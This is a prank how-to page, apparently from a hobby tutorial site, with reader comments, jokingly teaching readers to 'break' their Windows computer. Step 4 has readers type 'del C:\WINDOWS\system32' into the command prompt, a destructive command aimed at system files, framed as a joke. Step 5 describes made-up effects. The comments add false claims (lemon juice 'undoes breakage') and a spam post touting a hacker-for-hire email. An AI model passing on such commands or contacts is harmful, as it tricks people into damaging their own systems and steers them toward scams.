How to Break a Computer! =P

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Introduction: How to Break a Computer! =P

Today, I Dr. Picklecircumflexficklesteinmoneybags will be showing you how to break the expensive hardware from which you are currently reading this from. That's right! We're going to break your computer the easy way! Using simple differential calculus, a swiffer duster, a toilet seat, and a gift from Glenn Harper's gift emporium and moon base we'll have that computer broken lickety-split!

DISCLAIMER
You will not use any of the materials above. You only need the computer itself.

Step 1:

Step 1: First find the "Start" button in the bottom left hand side of the desktop. There should be a picture of the most superior operating system on it. If there isn't, you made a huge mistake way before you started this tutorial and should break your computer by smashing it with a hammer.

Step 2:

Step 2: Click the Start button and a tab will open up. Locate the search bar at the bottom right of the tab.

Step 3:

Step 3: In the search bar type "cmd". After doing this, a program called "cmd" can be found in the search results.

Step 4:

Step 4: Open cmd and you should find yourself face to face with a command prompt interface. In the command prompt type
"del C:\WINDOWS\system32"

Step 5:

Step 5: After typing the command into the command prompt you will see your computer freeze up. Approximately 10-20 seconds later you will see the blue screen of death appear on your computer. This either signifies that a certain someone whose name starts with a C that is followed by an O, then an L then an E hacked into the main internet computer mainframe and is accessing your private files, or you succeeded in breaking your computer.

Step 6:

Step 6: With your computer completely totaled you never have to worry about viruses, "Harper Hackers" , or gum in your disc drive ever again! Congratulations! NOW CELEBRATE YOUR ACT OF PERSONAL VANDALISM!

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16 Comments

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4197151
4197151

Question 2 months ago

lol

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ericjiang0616
ericjiang0616

Tip 6 months ago

break at leaste 3 or I hate you

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ericjiang0616
ericjiang0616

Question 6 months ago

can you use this on other than windows?

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ericjiang0616
ericjiang0616

6 months ago

ok I brock 5 PC's with tis already

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ianaylward
ianaylward

6 months ago

:/ i need to break coputer idk

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ianaylward
ianaylward

6 months ago

i wonder how to break a chromebook or macos

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McClay14
McClay14

8 years ago

...

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ianaylward
ianaylward

Reply 6 months ago

c/: why_..._u_say

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ericjiang0616
ericjiang0616

10 months ago

I love this one I did it to my other PC

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KaiR16
KaiR16

4 years ago

if you pour lemon juice on your computer it will instantly undo all breakadge

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donald89
donald89

5 years ago

One hacker that's trusted is producteducator15@gmail.com. he is profesional and Ontime. Affordable and has a kind heart

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SachinR7
SachinR7

5 years ago on Introduction

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